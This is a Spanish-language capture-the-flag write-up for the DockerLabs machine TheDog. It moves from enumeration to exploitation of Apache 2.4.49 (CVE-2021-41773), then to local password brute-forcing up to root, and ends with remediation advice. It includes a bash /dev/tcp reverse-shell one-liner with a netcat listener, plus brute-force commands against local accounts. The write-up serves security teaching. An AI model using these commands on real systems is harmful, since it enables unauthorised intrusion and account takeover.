Skip to content

TheDog

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina TheDog, desarrollada por firstatack para la plataforma DockerLabs, clasificada con una dificultad Media.

El laboratorio expone un servidor web que ejecuta una versión vulnerable de Apache HTTP Server 2.4.49, susceptible a la vulnerabilidad CVE-2021-41773, la cual permite path traversal y ejecución remota de comandos bajo determinadas configuraciones.

A partir del compromiso inicial como el usuario www-data, se realiza una enumeración local del sistema que permite identificar usuarios con credenciales débiles, facilitando una escalada de privilegios progresiva hasta obtener acceso completo como root.

La metodología seguida se estructura en las siguientes fases:

  1. Reconocimiento: enumeración de servicios y análisis del servidor web.
  2. Explotación: abuso de una vulnerabilidad crítica en Apache para obtener ejecución remota de comandos.
  3. Escalada de privilegios: compromiso de usuarios locales mediante credenciales débiles hasta alcanzar privilegios administrativos.

Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.


AtributoValor
NombreTheDog
Autorfirstatack
DificultadMedio
Fecha13/05/2025
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip TheDog.zip
sudo bash auto_deploy.sh TheDog.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

IP asignada

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

Ventana de terminal
mkdir -p TheDog/{content,exploits,nmap,scripts}
cd TheDog

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra un único servicio accesible externamente:

  • 80/tcp — HTTP

Puertos abiertos


Se procede a realizar fuzzing de rutas y archivos en el servicio web:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

feroxbuster result

Durante la enumeración se identifican los siguientes recursos relevantes:

  • index.html Página informativa que explica el funcionamiento del comando ping. En el código fuente se observa un comentario que sugiere que el acceso inicial no se logrará mediante rutas convencionales, indicando la necesidad de un enfoque diferente.

index content hint

  • html.html Página que revela una pista clave: el nombre del usuario punky, el cual será relevante en fases posteriores del ataque.

Dado que no se identifican vulnerabilidades evidentes a nivel de aplicación, se analiza la tecnología utilizada por el servidor:

Ventana de terminal
whatweb http://172.17.0.2

result whatweb

El resultado confirma que el servidor ejecuta Apache HTTP Server 2.4.49, una versión afectada por la vulnerabilidad CVE-2021-41773, ampliamente documentada y explotable.


La vulnerabilidad CVE-2021-41773 permite acceder a rutas fuera del DocumentRoot mediante secuencias de traversal (../). En configuraciones vulnerables, esta falla puede escalar a ejecución remota de comandos.

Se utiliza un exploit público diseñado para esta versión de Apache:

Ventana de terminal
python3 exploit.py -t 172.17.0.2

Una vez ejecutado, el exploit permite introducir comandos arbitrarios. Como prueba inicial, se ejecuta el comando id:

id exploit

Confirmada la ejecución remota, se establece una reverse shell. En el sistema atacante se inicia un listener:

Ventana de terminal
nc -nlvp 443

Desde la consola del exploit se ejecuta el siguiente payload:

Ventana de terminal
bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"

La conexión se establece correctamente, obteniendo una shell interactiva como el usuario www-data:

reverse shell


Tras una enumeración local del sistema, no se identifican binarios SUID explotables ni configuraciones inseguras de sudo. Sin embargo, ya se había identificado previamente el usuario punky, lo que sugiere la posibilidad de credenciales débiles.

Se decide realizar un ataque de fuerza bruta local utilizando el script UserRush, junto con un subconjunto del diccionario rockyou.txt, previamente transferidos a la máquina víctima.

Ventana de terminal
UserRush -u punky

Tras un breve periodo de ejecución, el script logra recuperar la contraseña del usuario:

userrush result

Con las credenciales obtenidas, se cambia de usuario:

Ventana de terminal
su punky

su punky


Desde la cuenta punky, se revisan binarios con permisos especiales y pertenencia a grupos privilegiados, sin encontrar vectores directos de escalada.

Ante la ausencia de mecanismos de protección contra fuerza bruta y políticas de contraseñas robustas, se repite el ataque utilizando UserRush, esta vez contra el usuario root:

Ventana de terminal
UserRush -u root

El ataque resulta exitoso, permitiendo obtener la contraseña del usuario administrador:

userrush root

Finalmente, se accede a la cuenta root:

Ventana de terminal
su root

su root

Con esto, la máquina queda completamente comprometida.


VulnerabilidadSeveridadImpacto
Apache HTTP Server 2.4.49 vulnerable (CVE-2021-41773)CríticaEjecución remota de comandos
Exposición de versión del servidor webMediaFacilita explotación dirigida
Comentarios con información sensible en código HTMLMediaEnumeración de usuarios del sistema
Uso de credenciales débiles en cuentas localesCríticaEscalada de privilegios
Ausencia de controles contra fuerza bruta localAltaCompromiso de cuentas privilegiadas

  • Actualizar Apache HTTP Server a una versión corregida y soportada.
  • Deshabilitar la exposición de versiones y banners del servidor web.
  • Eliminar comentarios innecesarios del código fuente en producción.
  • Aplicar políticas de contraseñas robustas para todos los usuarios del sistema.
  • Implementar mecanismos de protección contra fuerza bruta (bloqueo, rate-limit o alertas).